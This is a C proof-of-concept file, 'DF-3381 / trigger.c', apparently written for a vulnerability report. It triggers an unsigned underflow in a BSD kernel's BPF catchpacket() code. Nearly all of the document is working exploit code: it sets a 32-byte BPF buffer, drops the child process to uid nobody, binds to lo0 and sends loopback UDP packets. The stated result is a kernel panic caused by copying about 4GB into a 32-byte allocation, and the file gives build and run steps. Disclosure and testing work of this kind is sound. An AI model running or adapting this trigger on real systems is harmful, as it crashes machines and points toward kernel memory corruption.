DF-3381 / trigger.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 | /* * DF-3381 PoC — BPF catchpacket() bh_caplen unsigned underflow. * * Root opens /dev/bpf0, sets a 32-byte buffer (BPF_MINBUFSIZE, accepted by * BIOCSBLEN), then drops ALL privileges in the child (setuid nobody) which * binds the descriptor to lo0 (bif_hdrlen = 36 on x86-64 > 32) and fires * one loopback UDP packet. catchpacket() clamps totlen to bd_bufsize (32) * and computes bh_caplen = totlen - hdrlen = 32-36 = 0xfffffffc, then calls * bpf_mcopy(pkt, hp+36, 0xfffffffc) into the 32-byte store buffer. * * Expected: kernel panic (bpf_mcopy "m == NULL" KASSERT or page fault while * copying ~4GB through a 32-byte kmalloc allocation). * * Build: cc -O -o trigger trigger.c * Run: ./trigger (root; the *triggering* process is uid=nobody) */ #include <sys/types.h> #include <sys/ioctl.h> #include <sys/socket.h> #include <net/bpf.h> #include <net/if.h> #include <netinet/in.h> #include <err.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <pwd.h> #include <sys/wait.h> #define SMALL_BUF 32 static void fire_loopback_packet(void) { struct sockaddr_in sin; int s, i; s = socket(AF_INET, SOCK_DGRAM, 0); if (s < 0) err(1, "socket"); memset(&sin, 0, sizeof(sin)); sin.sin_family = AF_INET; sin.sin_port = htons(9999); sin.sin_addr.s_addr = htonl(0x7f000001); /* 127.0.0.1 */ for (i = 0; i < 8; i++) { if (sendto(s, "AAAAAAAABBBBBBBB", 16, 0, (struct sockaddr *)&sin, sizeof(sin)) < 0) err(1, "sendto"); } close(s); } int main(void) { u_int blen = SMALL_BUF; int fd; fd = open("/dev/bpf0", O_RDWR); if (fd < 0) err(1, "open /dev/bpf0"); if (ioctl(fd, BIOCSBLEN, &blen) < 0) err(1, "BIOCSBLEN"); printf("[+] BIOCSBLEN -> %u\n", blen); if (blen != SMALL_BUF) errx(1, "kernel did not accept 32-byte buffer"); fflush(stdout); if (fork() == 0) { struct passwd *pw; char ifname[IFNAMSIZ] = "lo0"; struct ifreq ifr; pw = getpwnam("nobody"); if (pw == NULL) errx(1, "no nobody user"); if (setgroups(1, &pw->pw_gid) < 0 || setgid(pw->pw_gid) < 0 || setuid(pw->pw_uid) < 0) err(1, "setuid"); printf("[+] uid=%d euid=%d, binding to lo0 " "(bif_hdrlen=36 > bd_bufsize=32)\n", (int)getuid(), (int)geteuid()); fflush(stdout); memset(&ifr, 0, sizeof(ifr)); strlcpy(ifr.ifr_name, ifname, sizeof(ifr.ifr_name)); if (ioctl(fd, BIOCSETIF, &ifr) < 0) err(1, "BIOCSETIF(lo0)"); printf("[+] BIOCSETIF(lo0) ok -- sending loopback packet\n"); fflush(stdout); fire_loopback_packet(); printf("[-] packet sent, no panic?? (read side)\n"); fflush(stdout); sleep(5); _exit(0); } wait(NULL); printf("[-] survived\n"); return (0); } |